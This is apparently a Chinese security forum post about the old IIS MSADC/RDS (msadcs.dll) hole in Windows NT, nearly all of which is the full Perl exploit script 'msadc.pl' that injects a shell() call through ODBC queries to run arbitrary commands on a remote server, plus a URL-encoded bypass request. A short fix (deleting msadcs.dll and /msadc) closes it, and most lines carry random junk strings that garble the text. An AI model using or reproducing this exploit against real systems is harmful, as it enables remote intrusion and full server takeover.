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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) x~j`@k,;  
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涉及程序: &q|K!5[k  
Microsoft NT server }XM(:|8J,  
rI-%be==  
描述: `%Al>u5  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Q'mM3pq4r  
kd$D 3S ^{  
详细: 5RpjN: 3  
如果你没有时间读详细内容的话,就删除: 3gj+%%!G\  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ;?g6QIN9  
有关的安全问题就没有了。 0tB0@Wj  
[bNx^VP*  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 VD]zz ^  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Ktm4 A O  
关于利用ODBC远程漏洞的描述,请参看: c#tjp(-  
Y.ToIka{  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1,!(0 5H  
W#C*5@8  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看  XJ5 .  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp rkY[E(SY  
A;|D:;x3G  
这里不再论述。 A1?2*W  
;H.^i|_/  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ZH)="qx [  
=-lb)Z"d  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset @\P;W(m.i  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 6ez<g Uf  
M$8^91%4B  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" tWa) _y  
:s6o"VkW  
#!perl r[Hc>wBv  
# t; {F%9j{  
# MSADC/RDS 'usage' (aka exploit) script 'V=P*#|SR  
# =j*$ |X3W  
# by rain.forest.puppy Eq\M;aDq  
# QM#4uI55B  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me K$_0 `>[  
# beta test and find errors! 8j\cL'  
6s/&BR  
use Socket; use Getopt::Std; K_ ~"}  
getopts("e:vd:h:XR", \%args); !pdb'*,n  
oVfLnI ;  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; /j|G(vt5  
,.1Psz^U  
if (!defined $args{h} && !defined $args{R}) { u'W8;G*~  
print qq~ > eIP.,9  
Usage: msadc.pl -h <host> { -d <delay> -X -v } l +OFw)8od  
-h <host> = host you want to scan (ip or domain) 4 bH^":i(  
-d <seconds> = delay between calls, default 1 second zvH8^1yzG  
-X = dump Index Server path table, if available z]?N+NHOA  
-v = verbose M={V|H0  
-e = external dictionary file for step 5 {|:;]T"y  
PFne+T!2F  
Or a -R will resume a command session %)I{%~u0  
.QJ5sgmh  
~; exit;} Vq?p|wy  
5Qn '  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 9"A`sGZ  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ?>rW>U6:P  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} `FTy+8mw  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); JYd 'Jp8bP  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} <Fc;_GG  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Ksj -zR;  
0rDh}<upjk  
if (!defined $args{R}){ $ret = &has_msadc; $5< #n@  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} d>fkA0G/9!  
]? g@jRs  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" [@b&? b~K  
. "cmd /c "; Qqvihd  
$in=<STDIN>; chomp $in; uPG4V2  
$command="cmd /c " . $in ; &c:Ad% z  
lWc:$qnR-K  
if (defined $args{R}) {&load; exit;} S` ;?z  
_Khc3Jo  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; G) 7;;  
&try_btcustmr; ahOMCZF|  
JB`\G=PiL  
print "\nStep 2: Trying to make our own DSN..."; <|+Ex  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; TDNQu_E  
OJ$]V,Z00x  
print "\nStep 3: Trying known DSNs..."; I}6\Sv=  
&known_dsn; -}=%/|\FG  
80/F7q'tn  
print "\nStep 4: Trying known .mdbs..."; GlT7b/JCG  
&known_mdb; S=nzw-(I  
Vle@4 ]M\  
if (defined $args{e}){ TAF PawH  
print "\nStep 5: Trying dictionary of DSN names..."; M|qteo  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } JSW}*HR  
Nkl_Ho,  
print "Sorry Charley...maybe next time?\n"; RUT,Y4 b  
exit; k"]dK,,  
hn=[1<#^(  
############################################################################## (B_\TdQ  
A"D,Kg S  
sub sendraw { # ripped and modded from whisker V8-oYwOR  
sleep($delay); # it's a DoS on the server! At least on mine... M9@ri^x  
my ($pstr)=@_; oMTf"0EIW  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || g(J&m< I  
die("Socket problems\n"); ~-m"   
if(connect(S,pack "SnA4x8",2,80,$target)){ [P7N{l=I  
select(S); $|=1; %V{7DA&C  
print $pstr; my @in=<S>; 4^Q :  
select(STDOUT); close(S); )5U[o0td  
return @in; 5qoSEI-m  
} else { die("Can't connect...\n"); }} <l9-;2L4  
iN0nw]_*  
############################################################################## mPP`xL?T  
?Poq2  
sub make_header { # make the HTTP request ,gOOiB }  
my $msadc=<<EOT ixQJ[fH10  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 i21Gw41p:  
User-Agent: ACTIVEDATA E7)= `kSl  
Host: $ip P(73!DT+  
Content-Length: $clen 5 Ho^N1q  
Connection: Keep-Alive ql?=(b;D  
jR#~I@q^  
ADCClientVersion:01.06 Nn"+w|v[ev  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 K/=_b<  
@wC5 g 4E  
--!ADM!ROX!YOUR!WORLD! ;cz|ss=  
Content-Type: application/x-varg cEd+MCN  
Content-Length: $reqlen &F5@6nJ`  
Vy,^)]  
EOT FH%GIi  
; $msadc=~s/\n/\r\n/g; F]t (%{#W  
return $msadc;} <u:WlaS  
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############################################################################## lF?tQB/a  
7ei|XfR  
sub make_req { # make the RDS request 0 Ir<y  
my ($switch, $p1, $p2)=@_; Css l{B  
my $req=""; my $t1, $t2, $query, $dsn; u=/CRjot  
4T<Lgb  
if ($switch==1){ # this is the btcustmr.mdb query { F};n?'  
$query="Select * from Customers where City=" . make_shell(); Iu *^xn  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ~ Yngkt  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} f5==";eP  
-+em!g'  
elsif ($switch==2){ # this is general make table query t/PlcV_M"  
$query="create table AZZ (B int, C varchar(10))"; 9bq<GC'eX8  
$dsn="$p1";} 5pRV 3K{H  
tpTAeQ*:d  
elsif ($switch==3){ # this is general exploit table query %F*|;o7s  
$query="select * from AZZ where C=" . make_shell(); _:B1_rz7,  
$dsn="$p1";} !GQ\"Ufs>  
ulJX1I=|p  
elsif ($switch==4){ # attempt to hork file info from index server a9?y`{%L  
$query="select path from scope()"; z|(+|pV(  
$dsn="Provider=MSIDXS;";} ^@_m "^C  
1uk 0d`JL  
elsif ($switch==5){ # bad query *I0-O*Xr  
$query="select"; GzTq5uU&  
$dsn="$p1";} !;!~n`  
q0bHB_|wL  
$t1= make_unicode($query); UYtuED  
$t2= make_unicode($dsn); \rV B5|D?  
$req = "\x02\x00\x03\x00"; <(e8sNe  
$req.= "\x08\x00" . pack ("S1", length($t1)); Q!FLR>8  
$req.= "\x00\x00" . $t1 ; :ECi+DxBK  
$req.= "\x08\x00" . pack ("S1", length($t2)); _ZAchzV  
$req.= "\x00\x00" . $t2 ; KYxBVgJ  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; >u(>aV|A  
return $req;} vkRi5!bR  
:p4"IeKs  
############################################################################## j9/-"dTL  
1lnU77;  
sub make_shell { # this makes the shell() statement 7gS1~Q4\V2  
return "'|shell(\"$command\")|'";} $8BE[u|H2  
U`x bPQ  
############################################################################## Q\3 Z|%  
1Fi86  
sub make_unicode { # quick little function to convert to unicode qJ_1*!!91  
my ($in)=@_; my $out; Sm2>'C  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 8Z2.`(3c[  
return $out;} l**;k+hw  
RP`2)/sMT  
############################################################################## \M/6m^zS  
$,hwU3RVxc  
sub rdo_success { # checks for RDO return success (this is kludge) [ &qA\  
my (@in) = @_; my $base=content_start(@in); +"g~"<  
if($in[$base]=~/multipart\/mixed/){ sF+=KH  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} #DkD!dW(l  
return 0;} ;bX4(CMe &  
H2-28XGc  
############################################################################## @l UlY2  
3v!~cC~cI  
sub make_dsn { # this makes a DSN for us (,xZGa  
my @drives=("c","d","e","f"); mty1p'^KQ  
print "\nMaking DSN: "; vG2b:[W  
foreach $drive (@drives) { J:F^ #gW  
print "$drive: "; BXUF^Hj%  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . mEuHl>  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" s2v(=  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); yO>V/5`  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; WnAd5#G  
return 0 if $2 eq "404"; # not found/doesn't exist I}Xg &-L  
if($2 eq "200") { vVs#^"-nW  
foreach $line (@results) { /LQ:Sv7  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} $YG1z  
} return 0;} zG c[Z3N  
?&l)W~S  
############################################################################## 7nHTlI1 b  
g9my=gY  
sub verify_exists { 4rU! 4l  
my ($page)=@_; G7* h{nE  
my @results=sendraw("GET $page HTTP/1.0\n\n"); cUDgM  
return $results[0];} !@ YXZ  
nD,{3B#  
############################################################################## ;</Twm;:  
(w2= 2$  
sub try_btcustmr { '?Iif#Z1  
my @drives=("c","d","e","f"); <V_7|)'/A  
my @dirs=("winnt","winnt35","winnt351","win","windows"); qSO*$1i  
5QWNZJ&}d  
foreach $dir (@dirs) { ,dd WBwMK  
print "$dir -> "; # fun status so you can see progress aN^IP  
foreach $drive (@drives) { hGP1(pH.  
print "$drive: "; # ditto Vul+]h[!h  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; q3'o|pp  
$reqlenlen=length( "$reqlen" ); 0d\~"4 R  
$clen= 206 + $reqlenlen + $reqlen; f3 ]  
rvwy~hO"  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); M>_= "atI  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} I/UQ'xx  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 77 :'I  
wh~s Z  
############################################################################## uf@U:V  
27#8dV?  
sub odbc_error { h#3m4<w(9  
my (@in)=@_; my $base; e4qj .b  
my $base = content_start(@in); ibF#$&!  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this En9R>A;`  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %3a|<6  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; (clU$m+oXX  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ls: =A6AGM  
return $in[$base+4].$in[$base+5].$in[$base+6];} ->yeJTsE9  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Uk-HP\C"7  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . BGjb`U#%3  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ZxS&4>.  
3DoRE2}  
############################################################################## ~/`X*n&  
.T3=Eq&"W  
sub verbose { t^@T`2jL  
my ($in)=@_; c#q"\"  
return if !$verbose; 6d{j0?mM  
print STDOUT "\n$in\n";} ?TuI:dC  
"]]q} O?  
############################################################################## d]M[C[TOX  
2X @G"  
sub save { %N~;{!![p  
my ($p1, $p2, $p3, $p4)=@_; "oE*9J?e  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; K ~>jApZ%  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ~5t?C<wo  
close OUT;} xtJAMo>g  
_IYY08&(r  
############################################################################## t>U!Zal"  
gEKO128  
sub load { qB JRS'6'9  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; XU#,Bu{  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); /Antb6E  
@p=<IN>; close(IN); .k]#XoE  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); z/vDgH!s  
$target= inet_aton($ip) || die("inet_aton problems"); org*z!;.   
print "Resuming to $ip ..."; r69WD .  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; cTj~lO6  
if($p[1]==1) { V<$*Y>;  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; [$2qna2VP  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; t&"5dM\  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); RWahsJTu  
if (rdo_success(@results)){print "Success!\n";} B/Ba5z"r$  
else { print "failed\n"; verbose(odbc_error(@results));}} #S i|!  
elsif ($p[1]==3){ 3Hm7 uBZ  
if(run_query("$p[3]")){ caD5Pod4  
print "Success!\n";} else { print "failed\n"; }} ,35Ag#va  
elsif ($p[1]==4){ deM~[1e[  
if(run_query($drvst . "$p[3]")){ ~N[|bPRmhE  
print "Success!\n"; } else { print "failed\n"; }} D9ywg/Q91  
exit;} bhKV +oN  
d8.ajeN]o  
############################################################################## ;Prg'R[o;  
FT_k^CC  
sub create_table { FR'b`Xv:  
my ($in)=@_; s, -*q}  
$reqlen=length( make_req(2,$in,"") ) - 28; p#M!S2&z  
$reqlenlen=length( "$reqlen" ); |!5@xs*T  
$clen= 206 + $reqlenlen + $reqlen; B&nw#saz.  
my @results=sendraw(make_header() . make_req(2,$in,"")); v@,XinB[  
return 1 if rdo_success(@results); N<b D  
my $temp= odbc_error(@results); verbose($temp); n1)'cS5}  
return 1 if $temp=~/Table 'AZZ' already exists/; gX"T*d>y  
return 0;} kv%)K'fU4  
d H_2 o  
##############################################################################  oUS ,+e  
8OBF^r44R  
sub known_dsn { g*r/u;  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go STp!8mL  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 5V rcR=?O  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", vz,LF=s2  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); P6E1^$e  
/'NUZ9  
foreach $dSn (@dsns) { sbjtL,  
print "."; '5cZzC 2  
next if (!is_access("DSN=$dSn")); feg`(R2  
if(create_table("DSN=$dSn")){ a^*B5G1(&  
print "$dSn successful\n"; `7>K1slQ}S  
if(run_query("DSN=$dSn")){ ws().IZ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { eU"mG3 __  
print "Something's borked. Use verbose next time\n";}}} print "\n";} G,/Gq+WX  
eu=|t&FKk  
############################################################################## q"p#H8  
!pV<n  
sub is_access { 1G_xP^H!  
my ($in)=@_; a}GAB@YI  
$reqlen=length( make_req(5,$in,"") ) - 28; Vd[  2u  
$reqlenlen=length( "$reqlen" ); |3|wdzV  
$clen= 206 + $reqlenlen + $reqlen; \ >(zunL  
my @results=sendraw(make_header() . make_req(5,$in,"")); FP@ A;/c  
my $temp= odbc_error(@results); UR\ZN@O  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); }9 FD/  
return 0;} o5V`'[c  
g` kZ T} h  
############################################################################## gx#J%k,f  
:X|AW?*  
sub run_query { AYYRxhv_,  
my ($in)=@_; .^GFy   
$reqlen=length( make_req(3,$in,"") ) - 28; <M`-`v6H  
$reqlenlen=length( "$reqlen" ); "j +v,js  
$clen= 206 + $reqlenlen + $reqlen; Q+/R JM?3@  
my @results=sendraw(make_header() . make_req(3,$in,"")); =G[ H,;W  
return 1 if rdo_success(@results); [5-!d!a|st  
my $temp= odbc_error(@results); verbose($temp); &?v#| qIh  
return 0;} {z-NlH  
]uJM6QuQ  
############################################################################## mf#fA2[  
f!^)!~  
sub known_mdb { MXh^dOWR  
my @drives=("c","d","e","f","g"); =>.DD<g"  
my @dirs=("winnt","winnt35","winnt351","win","windows"); j@_nI~7f}  
my $dir, $drive, $mdb; r8<JX5zyuo  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ,$o-C&nC  
_4~k3%w\`l  
# this is sparse, because I don't know of many gnYnL8l`J  
my @sysmdbs=( "\\catroot\\icatalog.mdb", e=-YP8l  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", \S'cW B  
"\\system32\\certmdb.mdb", oNrEIgaA(+  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Ep,1}Dx  
Za34/ro/T  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", -wBnwn-  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Y<de9Z@  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", IZ|c <#r6  
"\\cfusion\\cfapps\\security\\realm_.mdb", dV$3u"9  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", "C?:T'dW  
"\\cfusion\\database\\cfexamples.mdb", rkbl/py  
"\\cfusion\\database\\cfsnippets.mdb", 5~*=#v:`  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", x ru(Le}E  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", F: f2s:<  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ?UU5hek+m  
"\\cfusion\\database\\smpolicy.mdb", {kT#o3,>w6  
"\\cfusion\\database\cypress.mdb", +|)zwe  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Z<w,UvJa  
"\\website\\cgi-win\\dbsample.mdb", S_`W@cp[  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 'o7R/`4KR  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" `9]P/J^  
); #these are just 'et(:}i  
foreach $drive (@drives) { <r@bNx@T  
foreach $dir (@dirs){ R A*(|n>  
foreach $mdb (@sysmdbs) { NEZH<#  
print "."; I4A ;  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ U[blq M  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; =lYvj  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ UU*0dSWr  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; tbL1g{Dz,  
} else { print "Something's borked. Use verbose next time\n"; }}}}} t- !h X/  
p<<6}3~  
foreach $drive (@drives) { R>^5$[  
foreach $mdb (@mdbs) { 1{= E ?  
print "."; k0gJ('zah  
if(create_table($drv . $drive . $dir . $mdb)){ Vj#%B.#Zbf  
print "\n" . $drive . $dir . $mdb . " successful\n"; &8R-C[A  
if(run_query($drv . $drive . $dir . $mdb)){ (*LTq C  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; oBhL}r  
} else { print "Something's borked. Use verbose next time\n"; }}}} 6(!,H<bON  
} GZ; Z  
<m-Ni  
############################################################################## hB?U5J  
wn&[1gBxM  
sub hork_idx { DX]z=d)tc  
print "\nAttempting to dump Index Server tables...\n"; 4da ^d9ZOy  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; cYBrRTrI#  
$reqlen=length( make_req(4,"","") ) - 28; {LjK_J'  
$reqlenlen=length( "$reqlen" ); x(exx )w  
$clen= 206 + $reqlenlen + $reqlen; o}5'v^"6,  
my @results=sendraw2(make_header() . make_req(4,"","")); TG""eC!E  
if (rdo_success(@results)){ >\N$>"~a  
my $max=@results; my $c; my %d; wY."Lw> 6  
for($c=19; $c<$max; $c++){ Ubn   
$results[$c]=~s/\x00//g; @G^j8Nl+J}  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; H@VBP Q}Q  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Y j ,9V],  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; &Z;Eu'ia  
$d{"$1$2"}="";} 5%vP~vy_}  
foreach $c (keys %d){ print "$c\n"; } sE(X:[Am  
} else {print "Index server doesn't seem to be installed.\n"; }} .D>A'r8U  
+H5 jRw  
############################################################################## F#zQQ)(Pf  
i4 y(H  
sub dsn_dict { Lh8# I&x  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); p\4h$."  
while(<IN>){ NZC<m$')  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; U"jUMOMZ;  
next if (!is_access("DSN=$dSn")); <m|FccvQ  
if(create_table("DSN=$dSn")){ Vs2v j  
print "$dSn successful\n"; krnvFZRTQ  
if(run_query("DSN=$dSn")){ N^nDWK  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ?h>(&H jWV  
print "Something's borked. Use verbose next time\n";}}} BxW||O|_N"  
print "\n"; close(IN);} =|DkD- O  
$i5G7b  
############################################################################## s.k`];wo  
_rWTw+ L  
sub sendraw2 { # ripped and modded from whisker (7 ]\p  
sleep($delay); # it's a DoS on the server! At least on mine... {Tjtj@-  
my ($pstr)=@_; K6 PC&+x  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ^MF=,U'8  
die("Socket problems\n"); >?:i6&4o  
if(connect(S,pack "SnA4x8",2,80,$target)){ Qe' PAN=B  
print "Connected. Getting data"; 5d!z<{`  
open(OUT,">raw.out"); my @in; fb;hf:B:  
select(S); $|=1; print $pstr; U O{xpY  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} d1C/u@8^  
close(OUT); select(STDOUT); close(S); return @in; VH$\ a~|  
} else { die("Can't connect...\n"); }} `UzCq06rJ1  
M[&.kH  
############################################################################## HzFt  
m-&a~l  
sub content_start { # this will take in the server headers (RI>aDG RH  
my (@in)=@_; my $c; 'PxL^  
for ($c=1;$c<500;$c++) { }K qw\]`  
if($in[$c] =~/^\x0d\x0a/){ A=@V LU4%  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 'RN"yMv7l  
else { return $c+1; }}} }&'yt97+  
return -1;} # it should never get here actually |\{J` 5gr  
{/,+_E/  
############################################################################## wE.@0  
noD7G2o  
sub funky { Tk2&{S"  
my (@in)=@_; my $error=odbc_error(@in); *1;L,*J"|  
if($error=~/ADO could not find the specified provider/){ NR@SDW  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Xj(k(>7V  
exit;} LT y@6*  
if($error=~/A Handler is required/){ [jG uO%  
print "\nServer has custom handler filters (they most likely are patched)\n"; _3g %F  
exit;} y D=)&->Ra  
if($error=~/specified Handler has denied Access/){ h;mQ%9 Yd  
print "\nServer has custom handler filters (they most likely are patched)\n"; jw6ng>9  
exit;}} ^{:[^$f:l  
s^x , S  
############################################################################## *jqPKK/  
'!2  
sub has_msadc { 'j =PbA  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 4'u|L&ow  
my $base=content_start(@results); .x9nWa  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); |7 W6I$Xl  
return 0;} >O[^\H!\  
>goAf`sqo  
######################## V0wC@?  
qoyGs}/I8  
g^|_X1{  
解决方案: SJY"]7  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll T<_1|eH  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 1\9BO:<K  
R;I-IZS:  
拿出来充数 哈哈
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